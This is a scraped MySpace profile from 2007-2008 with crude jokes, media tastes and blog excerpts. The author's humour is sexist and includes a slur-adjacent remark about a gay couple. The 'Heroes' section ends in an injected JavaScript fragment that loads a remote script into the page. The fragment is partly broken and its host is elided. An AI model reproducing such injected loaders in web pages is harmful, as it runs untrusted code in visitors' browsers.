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Bake 32

My conscious cusses when he talks to me. Does your conscious cuss when he talks to you? What? Why ar

About Me

Myspace Layouts at Pimp-My-Profile.com / Dali elephants

Oh! Oh! Here is where i get to describe myself. So rather than that I would like to post what my sister wrote to me and what i wrote her back. Please enjoy. I did...My sister wrote me this . I guess to tell me she loved me. Here it goes. Life is too short to wake up in the morning with regrets. So love the people who treat you right, forget the ones who don’t. . If you get a chance, take it. If it changes you life, let it. Nobody said it would be easy. They just promised it would be worth it.So I wrote her back this. Life is too short to wake up with an old hag with baggy boobs in your face. So only love the hot chicks that act like porn stars. If you get a chance bang Pamela Anderson because every body else has. Nobody said she wasn’t easy. Be prepared though when you are with her, that out of her “who who“, doesn’t fall a midget.I love you sis.About me- Tired of the b.s. and drama. If you are absent of these two qualites, then by all means contact me. But if you are just some girl wanting to get in my pants, well then by all means please move to the front of the line. This is a joke but I thought it was funny. Just so I know if you read this please email and tell me what you thought of it or you saw it. Because I really do not believe people even read these.Oh, oh, I am not as cro-magnon as I look, I just have no shame in humor and think everything is funny and people who are politically correct can lick the back side of a cow patty. Funny how few mushrooms there are...

My Interests

comedy- go figure and garage bands, suicide girls, gotta love the goth chics. THey Have it going on like stacy's mom. Oh and anybody single that lives to have fun and is not a dude.........

I'd like to meet:

When life gives you lemons.""When life gives you lemons," I’ve always hated that statement. What’s it supposed to mean? "When life gives you lemons, make lemonade." Who’s supposed to buy this lemonade, the government? my boss at work, all the people who gave me these luscious lemons in the first place. Well if life gives me lemons, and I am supposed to make lemonade. Don’t think mine is not going to taste a lot like pee."

Music:


Dating & Relationship Advice
MySpace Layouts RIngSide Cross Canadian Ragweed, Jason Boland and Flipsyde......The Quah, Lustra, John Denver, Hank Williams Jr.

Movies:

Where should we start, anything written by Nora Ephron. Kevin Smith, the pricess bride and Guy Richie movies. Plus boondock saints, pulp fiction, and the ever so clever layer cake. oh, oh, oh, I forgot to mention Lock Stock and Two smoking Barrels. ......

Television:

Okay, I do watch Grey's Anatomy. Not cause of mcdreamy but the brown hair main character chic is hot. I also have been watching that Ungly Bittie show. Heroes, AND I AM NO LONGER ASHAMED. I LOVE DAWSON'S CREEK. ......

Books:

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Heroes:

John Holmes may he rest in peace. Oh and I should give a shout out to the Hedge Hog while I am at it. Kade Baker is also my hero cause he is the only person I know that can go skinny dipping in the ocean and loose his trunks to the outgoing tide. AND to be honest, when I went to the front desk in my hotel. THEY STILL GAVE ME A KEY TO MY ROOM!!!! they counldnt help laughing though... I had just been in the salty ocean for quite a while, .."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" />

My Blog

Just got A New Dog.

What should I call her.  I mean if I wanted to call her something scary like Hitler, Stalin, or Genghis Khan.  But she is female so I should Call her Rosie O'Donnell, Right?  That is pr...
Posted by Bake 32 on Tue, 07 Oct 2008 09:21:00 PST

for you ladies out there, what my sis wrote to me...

My sister wrote me this. I guess to tell me she loved me. Life is too short to wake in the morning with regrets. So love the people who treat you right, forget the ones who don’t. . If you get...
Posted by Bake 32 on Tue, 08 Apr 2008 08:44:00 PST

THE RANT OF ALL RANTS

Here we go, To be honest with you. My name Kade baker it sounds cool. But do you know what the name Kade, k.a.d.e. does to people. Hi my name is Kade. What’s your name Dave? No Kade, Gabe. No ...
Posted by Bake 32 on Thu, 13 Mar 2008 08:04:00 PST

When life gives you lemons.

""When life gives you lemons," I've always hated that statement.  What's it supposed to mean?  "When life gives you lemons, make lemonade."  Who's supposed to buy this lemonade, the gov...
Posted by Bake 32 on Mon, 03 Mar 2008 06:20:00 PST

It’s Tater’s B-day please wish him a happy birthday!!!

Happy birthday.  I have almost  known you three full years.  You are the best and I hope other people wish you a happy birthday.  Love K
Posted by Bake 32 on Tue, 26 Feb 2008 05:49:00 PST

Went to the proctologist and he did not have any vasoline

You sick puppy for wanting to read about this.  You should be ashamed about yourself.   Are you the type of person who has to rubberneck when they see a car wreck.   I am...
Posted by Bake 32 on Fri, 22 Feb 2008 06:55:00 PST

New photos of my house I am renovating please look...

New photos of my house I am renovating please look...  It is starting to come around but have way more to go,  currently starting on Kitchen.  When I get the floors done in the Kitchen,...
Posted by Bake 32 on Mon, 26 Nov 2007 08:48:00 PST

Moved in too my New Home

Well, just moved into the house I bought and still paying for...   Have already painted 4 rooms and torn up the floor in two and went back with the original wood flooring.    ...
Posted by Bake 32 on Wed, 03 Oct 2007 05:01:00 PST

I bought a House yesterday.

3 Bdrm.  1 bath.  at the 36th and Harvard area, right by louisville.... yeah, finally.  I had to out bid a lousy gay couple, why couldn't they find anouther house but I outbid them than...
Posted by Bake 32 on Tue, 28 Aug 2007 06:08:00 PST

happy freaking birthday to me?

i turn 36 here in a few hours.  not good.  going to get drunk.  am not feeling good about it at all.  going to the snail.  i will turn 36 with nothing to show for it.  ex...
Posted by Bake 32 on Mon, 23 Jul 2007 08:03:00 PST